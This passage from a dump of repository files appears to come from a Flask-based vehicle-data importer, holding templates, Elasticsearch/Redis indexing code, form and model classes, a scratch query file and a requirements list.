"UTF-8", "text": "{% extends \"layout.html\" %}\r\n\r\n{% from \"importer/macros.html\" import render_field, info_box, box_header %}\r\n\r\n{% block title %}\r\n vCar importer manager :: Records | {{ super() }}\r\n{% endblock %}\r\n\r\n{% block content_header %}\r\n <section class=\"content-header\">\r\n <h1>\r\n Import wizard\r\n </h1>\r\n <ol class=\"breadcrumb\">\r\n <li><a href=\"{{ url_for('carboard.index') }}\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\r\n <li><a href=\"#\">Importer</a></li>\r\n <li class=\"active\">Import wizard</li>\r\n </ol>\r\n </section>\r\n{% endblock content_header %}\r\n\r\n{% block content %}\r\n<div class=\"row\">\r\n <div class=\"col-md-12\">\r\n <div class=\"callout callout-vcar\">\r\n <i class=\"callout-icon\">Step 4 of 5</i>\r\n <h4>Upload trace files</h4>\r\n <p>Upload one or multiple trace files according to the choosed platform.</p>\r\n </div>\r\n </div>\r\n</div>\r\n\r\n<div class=\"row\">\r\n <div class=\"col-xs-12\">\r\n <div class=\"box box-solid vcar-box\">\r\n {{ box_header('Uploader manager') }}\r\n <div class=\"box-body\">\r\n <form id=\"upload\" method=\"post\" action=\"{{ url_for('importer.getfile') }}\" enctype=\"multipart/form-data\">\r\n <div id=\"drop\">\r\n Drop Here<br>\r\n <a>Browse</a>\r\n <input type=\"file\" name=\"openxc\" multiple />\r\n </div>\r\n <ul><!-- The file uploads will be shown here --></ul>\r\n </form>\r\n </div>\r\n <div class=\"box-footer\">\r\n <a class=\"pull-right btn btn-vcar-action\" href=\"#\" id=\"next\">\r\n <i class=\"fa fa-chevron-right\"></i>\r\n Submit\r\n </a>\r\n </div>\r\n <form id=\"send_files\" method=\"post\" action=\"{{ url_for('importer.records') }}\">\r\n <!-- hidden inputs goes here -->\r\n </form>\r\n </div>\r\n </form>\r\n </div>\r\n</div>\r\n{%- endblock content %}\r\n\r\n{% block scripts %}\r\n {{ super() }}\r\n <script type=\"text/javascript\">\r\n $(function() {\r\n $('#next').click(function(e) {\r\n e.preventDefault();\r\n $(\"#send_files\").submit();\r\n });\r\n });\r\n </script>\r\n{% endblock %}\r\n" }, { "alpha_fraction": 0.6872586607933044, "alphanum_fraction": 0.6988416910171509, "avg_line_length": 18.923076629638672, "blob_id": "77ffcdfa748c773d589f5dada2b3ffae3c2abebe", "content_id": "285c6a8a97f71d8c4207a273aa17d9f5b11b272f", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 259, "license_type": "permissive", "max_line_length": 44, "num_lines": 13, "path": "/app/plugins/driver_graph/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from os import getcwd\nfrom app.plugin import AppPlugin\nfrom .src.views import driverGraph\n\n__plugin__ = \"DriverGraph\"\n__version__ = \"1.0.0\"\n__path__ = getcwd()\n\n\nclass DriverGraph(AppPlugin):\n\n def setup(self):\n self.register_blueprint(driverGraph)\n" }, { "alpha_fraction": 0.5469200015068054, "alphanum_fraction": 0.5506620407104492, "avg_line_length": 25.571428298950195, "blob_id": "ef8ce1f4d0f2d09ccee076022b19bad8bd357c3c", "content_id": "330ced43e4b589d0196eb431fbd7e354d54bd9ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3474, "license_type": "no_license", "max_line_length": 79, "num_lines": 126, "path": "/app/importer/platforms/openxc/indexing_org.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import redis\r\nimport json\r\nfrom time import strftime, sleep\r\nfrom datetime import datetime\r\nfrom elasticsearch import Elasticsearch, helpers\r\nfrom .constants import *\r\nfrom .helpers import correct_value, correct_time\r\nfrom ...transformer import Transformer\r\n\r\n# ----------------- Setting up tools --------------------------------------- #\r\nred = redis.StrictRedis(\r\n\thost = REDIS_HOST,\r\n\tport = REDIS_PORT,\r\n\tdb = REDIS_DB\r\n)\r\n\r\ndef task_info(name='info'):\r\n pubsub = red.pubsub()\r\n pubsub.subscribe(name)\r\n for message in pubsub.listen():\r\n # print(\"[+] Message: {}\".format(message))\r\n yield 'data: {}\\n\\n'.format(message['data'])\r\n\r\n# ----------------- Indexing with Bulk : Large files ----------------------- #\r\n\r\ndef index_bulk(traces, metadata, bulk_size=BULK_SIZE):\r\n\tred.publish('info', 'Hello word! ')\r\n\ttry:\r\n\t\tes = Elasticsearch([{\r\n\t\t\t'host': ELASTICSEARCH_HOST,\r\n\t\t\t'port': ELASTICSEARCH_PORT\r\n\t\t}])\r\n\r\n\t\tindex = OPENXC_INDEX\r\n\t\ttype = \"platform\"\r\n\t\tsleep(2)\r\n\t\tred.publish('info', 'Inisializing Elasticsearch ...')\r\n\t\tes.cluster.health(wait_for_status='yellow', request_timeout=30)\r\n\t\tred.publish('info', 'creating index if it dosn\\'t exist ...')\r\n\t\tmapping = {\r\n\t\t\ttype: {\r\n\t\t\t\t\"properties\": {\r\n\t\t\t\t\t\"user\": {\r\n\t\t\t\t\t\t\"type\": \"integer\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"vehicle\": {\r\n\t\t\t\t\t\t\"type\": \"integer\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"driver\": {\r\n\t\t\t\t\t\t\"type\": \"integer\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"class\": {\r\n\t\t\t\t\t\t\"type\": \"string\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"name\": {\r\n\t\t\t\t\t\t\"type\": \"string\",\r\n\t\t\t\t\t\t\"index\": \"not_analyzed\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"value\": {\r\n\t\t\t\t\t\t\"type\": \"string\",\r\n\t\t\t\t\t\t\"index\": \"not_analyzed\"\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"timestamp\": {\r\n\t\t\t\t\t\t\"type\": \"date\"\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t# es.indices.delete(index=index, ignore=404)\r\n\t\tif not es.indices.exists(index=index):\r\n\t\t\tes.indices.create(index=index, ignore=400)\r\n\t\t\tes.indices.put_mapping(index=index, doc_type=type, body=mapping)\r\n\r\n\t\t# inisialise a Transformer instance + set the platform attribute\r\n\t\ttr = Transformer();\r\n\t\ttr.setPlatformById(metadata['platform']);\r\n\t\tfor trace in traces:\r\n\t\t\ti = 1\r\n\t\t\tred.publish('info', 'indexing the file: {}'.format(trace))\r\n\t\t\tactions = []\r\n\t\t\twith open(trace, 'r') as f:\r\n\t\t\t\tfor line in f:\r\n\t\t\t\t\tsource = json.loads(line)\r\n\t\t\t\t\tsignal = tr.getInfo(source.get('name'))\r\n\r\n\t\t\t\t\tif signal is not None:\r\n\t\t\t\t\t\taction = {\r\n\t\t\t\t\t\t\t\"_index\": index,\r\n\t\t\t\t\t\t\t\"_type\": type,\r\n\t\t\t\t\t\t\t\"_id\": i,\r\n\t\t\t\t\t\t\t\"_source\": {\r\n\t\t\t\t\t\t\t\t\"user\": metadata['user'],\r\n\t\t\t\t\t\t\t\t\"vehicle\": metadata['vehicle'],\r\n\t\t\t\t\t\t\t\t\"driver\": metadata['driver'],\r\n\t\t\t\t\t\t\t\t\"class\": signal['class'],\r\n\t\t\t\t\t\t\t\t\"name\": signal['name'],\r\n\t\t\t\t\t\t\t\t\"value\": source.get('value'),\r\n\t\t\t\t\t\t\t\t\"timestamp\": correct_time(source.get('timestamp'))\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tactions.append(action)\r\n\t\t\t\t\t\tif i % bulk_size == 0:\r\n\t\t\t\t\t\t\thelpers.bulk(es, actions)\r\n\t\t\t\t\t\t\tred.publish('info', '{} events indexed'.format(i))\r\n\t\t\t\t\t\t\tactions = []\r\n\t\t\t\t\t\ti += 1\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\t\"\"\" Signal not included, should we remove it !! \"\"\"\r\n\t\t\t\t\t\tpass\r\n\r\n\t\t\t\t\t# ,overwrite_existing=True\r\n\t\t\t\t\t# es.index(index=index, doc_type=type, id=i, body=line)\r\n\t\t\tif i < bulk_size:\r\n\t\t\t\thelpers.bulk(es, actions)\r\n\t\t\tred.publish('info', 'File {} indexed'.format(trace))\r\n\t\t\tred.publish('info', 'end_trace'.format(trace))\r\n\t\tred.publish('info', 'end_all')\r\n\t\tsleep(2)\r\n\t\tred.connection_pool.disconnect()\r\n\t\treturn True\r\n\t\tsys.exit()\r\n\texcept Exception as e:\r\n\t\tprint('Exception: ', e)\r\n\t\tred.publish('info', 'Exception: {}'.format(e))\r\n\t\treturn False\r\n\t\tsys.exit()\r\n" }, { "alpha_fraction": 0.46082594990730286, "alphanum_fraction": 0.5218062400817871, "avg_line_length": 22.990739822387695, "blob_id": "e09b993ba147ef6654456bb5106bef315a172456", "content_id": "54bebddb8df437f3c9c2f16b5089d89d5018f8c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5182, "license_type": "no_license", "max_line_length": 106, "num_lines": 216, "path": "/tests/elastic.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from elasticsearch import Elasticsearch, helpers\n\nes = Elasticsearch()\nindex = \"openxc\"\ntype = \"driver_1\"\nes.cluster.health(wait_for_status='yellow', request_timeout=1)\n# count documents\n# count = es.count(index=index, doc_type=type)\n# print(count)\n# get one document\n# data = es.get(index=index, doc_type=type, id=200)\n# print(data)\n# search one signal\nbody = {\n \"query\": {\n \"match\": {\n 'name': 'accelerator_pedal_position'\n }\n }\n}\n# search = es.search(index=index, doc_type=type, body=body, _source=False)\n\n# print(search)\n\n# Query for all results (no matching criteria)\n# res = es.search(index=index, body={\"query\": {\"match_all\": {}}})\n# print (res['hits']['total'])\n# print (res['hits']['hits'][100]['_source']['name'])\n\n# bulk\nbody = {\n '_op_type': 'delete', # values are (index, create, delete, update)\n '_index': 'index-name',\n '_type': 'document',\n '_id': 42,\n}\n\n# if not es.exists(index=index, doc_type=type):\n# print(\"NOOOO\")\n# if es.exists(index=index, doc_type=type):\n# print(\"YEEES\")\n# Mapping\n\nmapping = {\n type: {\n \"properties\": {\n \"name\": {\n \"type\": \"string\"\n },\n \"value\": {\n \"type\": \"double\"\n },\n \"timestamp\": {\n \"type\": \"date\",\n \"format\": \"epoch_millis\"\n }\n }\n }\n}\n# if not es.indices.exists(index=index):\n# es.indices.create(index=index, ignore=400)\n# es.indices.put_mapping(index=index, doc_type=type, body=mapping)\n# x = \"1364323978.53600\"\n# t = x.split('.')\n# data = {\n# \"name\": \"accelerator_pedal_position\",\n# \"timestamp\": '{}{}'.format(t[0], t[1][:3]),\n# \"value\": 53.5\n# }\n# es.index(index=index, doc_type=type, id=1, body=data)\n# print(\"index creared\")\n# else:\n# es.indices.delete(index=index, ignore=404)\n\n\ndef correct_time(timestamp):\n try:\n timestamp = str(timestamp)\n print(timestamp)\n t = timestamp.split('.')\n return '{}{}'.format(t[0], t[1][:3].ljust(3, '0'))\n except:\n return timestamp.split('.')[0]\n\nx = correct_time(1361454774.657980)\nprint(x)\n# 13614547982\n# 136145482189\n# 136145484557\n# 136145486924\n# 136145489296\n# 136145491667\n# 136145494043\n# 136145496416\n# 136145498789\n# 13614550116\n# 13614550353\n# 136145505902\n\n# put_mapping(*args, **kwargs)\n# http://elasticsearch-py.readthedocs.io/en/master/api.html#elasticsearch.client.IndicesClient.put_mapping\n# https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-put-mapping.html\nmapping = '''\n {\n \"mappings\":{\n \"logs_june\":{\n \"_timestamp\":{\n \"enabled\":\"true\"\n },\n \"properties\":{\n \"logdate\":{\n \"type\":\"date\",\n \"format\":\"dd/MM/yyy HH:mm:ss\"\n }\n }\n }\n }\n }\n'''\n# self.elastic_con.indices.create(index='test-index', ignore=400, body=mapping)\n# 2\n# conntect es\n# es = Elasticsearch()\n# delete index if exists\n# if es.indices.exists(config.elastic_urls_index):\n# es.indices.delete(index=config.elastic_urls_index)\n# index settings\nsettings = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n },\n \"mappings\": {\n \"urls\": {\n \"properties\": {\n \"url\": {\n \"type\": \"string\"\n }\n }\n }\n }\n}\n# create index\n# es.indices.create(index=config.elastic_urls_index, ignore=400, body=settings)\n\n# Notes\n# curl -XGET 'http://localhost:9200/openxc/driver_1/1/_source'\n# curl --head 'http://localhost:9200/openxc/driver_1/1/_source'\n# curl -XGET 'http://localhost:9200/openxc/driver_1/1?fields=name,value'\n# curl -XGET 'http://localhost:9200/openxc/driver_1/1?_source=false'\n# curl -XGET 'http://localhost:9200/openxc/driver_1/_search?pretty&q=name:vehicle_speed'\n# curl -XGET 'http://localhost:9200/openxc/driver_1/_search?pretty&size=10000'\n\n{\n \"size\": 0,\n \"aggs\": {\n \"2\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"interval\": \"1s\",\n \"time_zone\": \"Europe/London\",\n \"min_doc_count\": 1,\n \"extended_bounds\": {\n \"min\": 1361454733109,\n \"max\": 1361454981775\n }\n },\n \"aggs\": {\n \"1\": {\n \"max\": {\n \"field\": \"value\"\n }\n }\n }\n }\n },\n \"highlight\": {\n \"pre_tags\": [\n \"@kibana-highlighted-field@\"\n ],\n \"post_tags\": [\n \"@/kibana-highlighted-field@\"\n ],\n \"fields\": {\n \"*\": {}\n },\n \"require_field_match\": false,\n \"fragment_size\": 2147483647\n },\n \"query\": {\n \"filtered\": {\n \"query\": {\n \"query_string\": {\n \"analyze_wildcard\": true,\n \"query\": \"*name=\\\"vehicle_speed\\\"\"\n }\n },\n \"filter\": {\n \"bool\": {\n \"must\": [\n {\n \"range\": {\n \"timestamp\": {\n \"gte\": 1361454733109,\n \"lte\": 1361454981775,\n \"format\": \"epoch_millis\"\n }\n }\n }\n ],\n \"must_not\": []\n }\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.5970037579536438, "alphanum_fraction": 0.6029962301254272, "avg_line_length": 30.785715103149414, "blob_id": "c9a9dac2fa2877d99670a9030937d28fe7235fef", "content_id": "2fd03b73fa5c6c89d3812e60fd562d58b5b95342", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1335, "license_type": "no_license", "max_line_length": 86, "num_lines": 42, "path": "/app/carboard/models/extrasignal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom marshmallow import Schema, fields\nfrom .signal import SignalSchema\nfrom ...extensions import db\n\n# -------------------------------- Extrasignal Model ------------------------------- #\n\n\nclass Extrasignal(db.Model):\n \"\"\" Extrasignal Model: \"\"\"\n __tablename__ = 'extrasignals'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n storage = db.Column(db.String(255))\n\n signal_id = db.Column(db.Integer, db.ForeignKey('signals.id'))\n signal = db.relationship(\"Signal\", back_populates=\"extrasignals\")\n #platform_id = db.Column(db.Integer, db.ForeignKey('platforms.id'))\n #platform = db.relationship('Platform', back_populates=\"signals\")\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, signal_id, storage, status=1):\n self.name = name\n self.signal_id = signal_id\n self.storage = storage\n self.status = status\n\n def __repr__(self):\n return str(self.name)\n\n# -------------------------------- Extrasignal Model ------------------------------- #\n\n\nclass ExtrasignalSchema(Schema):\n \"\"\" Extra signals schema \"\"\"\n\n id = fields.Int(dump_only=True)\n name = fields.Str()\n signal = fields.Nested(SignalSchema)\n" }, { "alpha_fraction": 0.46034297347068787, "alphanum_fraction": 0.4643622636795044, "avg_line_length": 27.272727966308594, "blob_id": "8045d3af655218575403ad8202f9ea5444cb9cb9", "content_id": "81f4202554a5da1ccc79dc7bc5d6c1194d753d1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3732, "license_type": "no_license", "max_line_length": 91, "num_lines": 132, "path": "/app/carboard/forms/dataset.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import FormField, FieldList, StringField, SelectField\nfrom wtforms.fields.html5 import URLField\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms.validators import ValidationError, Optional, DataRequired, Regexp, Length, url\nfrom ..models.dataset import Dataset\nfrom .article import ArticleForm\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef dataset_exist(form, field):\n if Dataset.select().where(Dataset.name == field.data).exists():\n raise ValidationError('Dataset already exists !')\n\n# ---------------------------- Dataset form classes ------------------------- #\n\n\nclass DatasetForm(FlaskForm):\n \"\"\" Dataset add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z_\\- ]+$',\n message=(\"Dataset name is not correct !\")\n ),\n ]\n )\n slug = StringField(\n 'Slug',\n validators=[\n Optional(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-z_]+$',\n message=(\"Dataset slug is not correct !\")\n ),\n ]\n )\n description = StringField(\n 'Description',\n validators=[\n DataRequired(),\n ]\n )\n author = StringField(\n 'Author',\n )\n lab = StringField(\n 'Lab',\n )\n website = StringField(\n 'Website',\n )\n\n\nclass FeedDatasetForm(FlaskForm):\n \"\"\" Dataset add/edit FlaskForm \"\"\"\n\n where = SelectField(\n 'Where is your dataset files?',\n coerce=int,\n choices=[\n (0, 'Pick a choice ...'),\n (1, 'In my local machine'),\n (2, 'On a remote server'),\n (3, 'In vCar platform server')\n ],\n validators=[DataRequired()]\n )\n\n # local_type = SelectField(\n # 'What is your data?',\n # coerce=int,\n # choices=[\n # (0, 'Pick a choice ...'),\n # (1, 'One file'),\n # (2, 'One zip file'),\n # (3, 'Multiple files')\n # ],\n # validators=[DataRequired()]\n # )\n # local_file = FileField(\n # 'Now select your file', validators=[\n # FileAllowed(['json', 'csv', 'txt'], 'File format not supported !')\n # ]\n # )\n # local_zip = FileField(\n # 'Now select your zip file', validators=[\n # FileAllowed(['zip'], 'only zip files are supported !')\n # ]\n # )\n\n remote = URLField(\n 'Specify file link',\n validators=[\n Optional(),\n url(message='Sorry, this is not a valid URL,')\n ],\n # default='http://example.com/file.json'\n )\n\n vcar = StringField(\n 'Path',\n validators=[Optional()],\n # default='http://example.com/file.json'\n )\n\n \"\"\"\n ---------------------------------------------------\n Dependences :\n from wtforms import FormField, FieldList\n ---------------------------------------------------\n Nested FlaskForm :\n article = FormField(ArticleForm)\n article = FieldList(FormField(ArticleForm))\n ---------------------------------------------------\n Jinja implementation :\n {{ form.hidden_tag() }}\n {{ render_field(form.name) }}\n {{ render_field(form.description) }}\n {{ render_field(form.author) }}\n ...\n\n {% for subform in form.article %}\n {{ render_field(subform) }}\n {% endfor %}\n ---------------------------------------------------\n \"\"\"\n" }, { "alpha_fraction": 0.4590461254119873, "alphanum_fraction": 0.4634525775909424, "avg_line_length": 33.39449691772461, "blob_id": "7c2cfffae91ff44abce08eb9426a2004b4f3dcc6", "content_id": "0ccfbbfec55ff54c61e62e8edc30202364c62116", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3858, "license_type": "no_license", "max_line_length": 135, "num_lines": 109, "path": "/app/importer/platforms/openxc/indexing.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import redis\r\nimport json\r\nfrom time import strftime, sleep\r\nfrom datetime import datetime\r\nfrom elasticsearch import Elasticsearch, helpers\r\nfrom .constants import *\r\nfrom .helpers import correct_value, correct_time\r\nfrom ...transformer import Transformer\r\n\r\n# ----------------- Setting up tools --------------------------------------- #\r\nred = redis.StrictRedis(\r\n host=REDIS_HOST,\r\n port=REDIS_PORT,\r\n db=REDIS_DB\r\n)\r\n\r\n\r\ndef my_handler(message):\r\n # print('MY HANDLER: {}'.format(message['data']))\r\n yield 'data: {}\\n\\n'.format(message['data'])\r\n\r\n\r\ndef task_info(name='info'):\r\n p = red.pubsub(ignore_subscribe_messages=True)\r\n p.subscribe('info')\r\n # p.subscribe(**{'info': msg_handler})\r\n # thread = p.run_in_thread(sleep_time=0.001)\r\n # thread.stop()\r\n while True:\r\n msg = p.get_message()\r\n if msg:\r\n yield 'data: {}\\n\\n'.format(msg['data'])\r\n sleep(1)\r\n\r\n # pubsub = red.pubsub()\r\n # pubsub.subscribe(name)\r\n # for message in pubsub.listen():\r\n # # print(\"[+] Message: {}\".format(message))\r\n # yield 'data: {}\\n\\n'.format(message['data'])\r\n\r\n# ----------------- Indexing with Bulk : Large files ----------------------- #\r\n\r\n\r\ndef index_bulk(traces, metadata, bulk_size=BULK_SIZE):\r\n red.publish('info', 'Hello word! ')\r\n try:\r\n es = Elasticsearch([{\r\n 'host': ELASTICSEARCH_HOST,\r\n 'port': ELASTICSEARCH_PORT\r\n }])\r\n\r\n index = OPENXC_INDEX\r\n type = \"platform\"\r\n es.cluster.health(wait_for_status='yellow', request_timeout=30)\r\n\r\n # es.indices.delete(index=index, ignore=404)\r\n if not es.indices.exists(index=index):\r\n es.indices.create(index=index, ignore=400)\r\n es.indices.put_mapping(index=index, doc_type=type, body=MAPPING)\r\n\r\n # inisialise a Transformer instance + set the platform attribute\r\n tr = Transformer()\r\n tr.setPlatformById(metadata['platform'])\r\n\r\n for trace in traces:\r\n i = 1\r\n actions = []\r\n with open(trace, 'r') as f:\r\n for line in f:\r\n source = json.loads(line)\r\n signal = tr.getInfo(source.get('name'))\r\n\r\n if signal is not None:\r\n action = {\r\n \"_index\": index,\r\n \"_type\": type,\r\n \"_id\": i,\r\n \"_source\": {\r\n \"user\": metadata['user'],\r\n \"vehicle\": metadata['vehicle'],\r\n \"driver\": metadata['driver'],\r\n \"class\": signal['class'],\r\n \"name\": signal['name'],\r\n \"value\": source.get('value'),\r\n \"timestamp\": correct_time(source.get('timestamp'))\r\n }\r\n }\r\n actions.append(action)\r\n if i % bulk_size == 0:\r\n helpers.bulk(es, actions)\r\n actions = []\r\n i += 1\r\n else:\r\n \"\"\" Signal not included, should we remove it !! \"\"\"\r\n pass\r\n\r\n if i < bulk_size:\r\n helpers.bulk(es, actions)\r\n red.publish(\r\n 'info', 'Background indexing task [<b>{}</b> file<small>(s)</small>] has been completed successfully.'.format(len(traces)))\r\n # sleep(1)\r\n # red.connection_pool.disconnect()\r\n return True\r\n sys.exit()\r\n except Exception as e:\r\n print('Exception: ', e)\r\n red.publish('info', 'Exception: {}'.format(e))\r\n return False\r\n sys.exit()\r\n" }, { "alpha_fraction": 0.5380747318267822, "alphanum_fraction": 0.5380747318267822, "avg_line_length": 24.309091567993164, "blob_id": "9f6d39064624b716ccf4cc6c1531cb21eb201497", "content_id": "292f2a74fa88fea8b9e16a595393825f949082ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1392, "license_type": "no_license", "max_line_length": 82, "num_lines": 55, "path": "/app/carboard/forms/vehicle.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import Optional, DataRequired, Regexp, Length\n\nfrom ..models.vehicle import Vehicle\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef vehicle_exist(form, field):\n if Vehicle.select().where(Vehicle.name == field.data).exists():\n raise ValidationError('Vehicle already exists !')\n\n# ---------------------------- Vehicle form classes ---------------------------- #\n\nclass VehicleForm(FlaskForm):\n \"\"\" Vehicle add/edit FlaskForm \"\"\"\n user_id = SelectField(\n 'User',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n brand_id = SelectField(\n 'Brand',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n model_id = SelectField(\n 'Model',\n coerce=int,\n )\n driver_id = SelectField(\n 'Driver',\n coerce=int,\n )\n image = FileField(\n 'Picture', validators=[\n FileAllowed(['jpg', 'jpeg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )\n\nclass VehicleStatusForm(FlaskForm):\n \"\"\" Edit vehicle status FlaskForm \"\"\"\n status_id = SelectField(\n 'Status',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n" }, { "alpha_fraction": 0.8484848737716675, "alphanum_fraction": 0.8484848737716675, "avg_line_length": 13.666666984558105, "blob_id": "423db6513bd6edc448c832a46bc8a4a510e04e2d", "content_id": "568503a3f87728fc7ad6270ca05381eb72a9bcc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 264, "license_type": "no_license", "max_line_length": 56, "num_lines": 18, "path": "/requirements2.txt", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "elasticsearch\nFlask\nFlask-Bcrypt\nFlask-Cache\nFlask-DebugToolbar\nFlask-Login\nFlask-Mail\nFlask-Migrate\nFlask-Images\nFlask-Redis\nFlask-Script\nFlask-SQLAlchemy\nFlask-WTF\nFlask-Misaka\nmarshmallow\nnetworkx\nPyYAML\nhttps://github.com/vcar/flask-plugins/archive/master.zip\n" }, { "alpha_fraction": 0.5739071369171143, "alphanum_fraction": 0.5795403122901917, "avg_line_length": 33.13846206665039, "blob_id": "90ff4b06ef950bd5057bd1d971f0b509dafcdb5f", "content_id": "faee1957e8370b75384bd96b551b351b804f2278", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4438, "license_type": "no_license", "max_line_length": 109, "num_lines": 130, "path": "/app/importer/helpers.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nimport re\nfrom unicodedata import normalize\nfrom uuid import uuid4\nfrom time import strftime\nfrom datetime import datetime\n\nfrom flask import request, url_for, session, redirect, flash\nfrom werkzeug import secure_filename\n\nfrom config.config import DefaultConfig\nfrom .constants import UPLOAD_TRACE_DIR, ALLOWED_TRACE_EXTENSIONS\n\n# ------------------------------ View Helpers ------------------------------- #\n\n\ndef upload_file(file_data, upload_dir, oldFile=None):\n \"\"\" Upload Files \"\"\"\n if file_data:\n file = secure_filename(\n str(uuid4()) + os.path.splitext(file_data.filename)[1].lower())\n path = os.path.join(upload_dir, strftime(\"%Y/%m\"))\n # os.makedirs(path, exist_ok=True) Py 3.4+\n make_dir(path)\n file_data.save(\"/\".join([path, file]))\n if oldFile is not None:\n pass\n return \"/\".join([strftime(\"%Y/%m\"), file])\n return None\n\n\ndef slugify(text, delim=u'-'):\n \"\"\"Generates an slightly worse ASCII-only slug.\"\"\"\n if type(text) == str:\n text = text.decode()\n result = []\n _punct_re = re.compile(r'[\\t !\"#$%&\\'()*\\-/<=>?@\\[\\\\\\]^_`{|},.]+')\n for word in _punct_re.split(text.lower()):\n word = normalize('NFKD', word).encode('ascii', 'ignore')\n if word:\n result.append(word)\n return unicode(delim.join(result))\n\n\ndef choices(Model, placeholder=None, cond=1, orderField='name'):\n if cond:\n c = [(b.id, b) for b in Model.query.filter_by(\n status=cond).order_by(orderField).all()]\n else:\n c = [(b.id, b) for b in Model.query.order_by(orderField).all()]\n if placeholder is not None:\n c.insert(0, ('0', placeholder))\n else:\n c.insert(0, ('0', 'Select an option ...'))\n return c\n\n\ndef make_dir(dir_path):\n \"\"\" Make recursive directories \"\"\"\n try:\n if not os.path.exists(dir_path) and not os.path.isdir(dir_path):\n os.makedirs(dir_path)\n except Exception as e:\n raise e\n\n\ndef redirect_back():\n \"\"\" Redirect back to last url \"\"\"\n return request.args.get('next') or request.referrer or url_for('index')\n\n\ndef get_current_time():\n return datetime.utcnow()\n\n\ndef allowed_extensions(filename):\n \"\"\" check if the file extension is allowed \"\"\"\n return '.' in filename and filename.rsplit('.', 1)[1] in DefaultConfig.ALLOWED_AVATAR_EXTENSIONS\n\n\ndef checkSteps(step):\n if step >= 1:\n if 'import' not in session or 'user' not in session['import'] or 'platform' not in session['import']:\n flash('Please choose a platform first.', 'success')\n return redirect(url_for('importer.platform'))\n elif step == 1:\n return True\n if step >= 2:\n if 'vehicle' not in session['import']:\n flash('Please choose a vehicle or select an anonymous one.', 'success')\n return redirect(url_for('importer.vehicle'))\n elif step == 2:\n return True\n if step >= 3:\n if 'driver' not in session['import']:\n flash('Please choose a driver or select an anonymous one.', 'success')\n return redirect(url_for('importer.driver'))\n elif step == 3:\n return True\n if step > 4:\n if 'files' not in session['import']:\n flash('Please upload some files before getting here', 'success')\n return redirect(url_for('importer.records'))\n elif step == 4:\n return True\n\n\ndef upload_trace(input='file', user_id=0):\n \"\"\"Upload a trace file\"\"\"\n result = {'status': False, 'message': 'No input file'}\n if input not in request.files:\n return result\n file = request.files[input]\n if file.filename == '':\n return result\n if '.' not in file.filename:\n result['message'] = 'File without any extension'\n return result\n if file.filename.rsplit('.', 1)[1] not in ALLOWED_TRACE_EXTENSIONS:\n result['message'] = 'Extension not allowed'\n return result\n directory = \"/\".join([UPLOAD_TRACE_DIR, str(user_id)])\n directory = \"/\".join([directory, strftime(\"%Y/%m\")])\n make_dir(directory)\n file_path = \"/\".join([directory, secure_filename(str(uuid4()) +\n os.path.splitext(file.filename)[1].lower())])\n file.save(file_path)\n return {'status': True, 'message': file_path}\n\n# ------------------------------- Form Helpers ------------------------------ #\n" }, { "alpha_fraction": 0.5741350650787354, "alphanum_fraction": 0.5831960439682007, "avg_line_length": 29.128204345703125, "blob_id": "ddee825a4d4b3c2de402beef3a15955aa2f89c76", "content_id": "819e9cf65ab780aa669e7d935fb01489deda2ce7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1214, "license_type": "no_license", "max_line_length": 79, "num_lines": 39, "path": "/app/carboard/models/file.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from uuid import 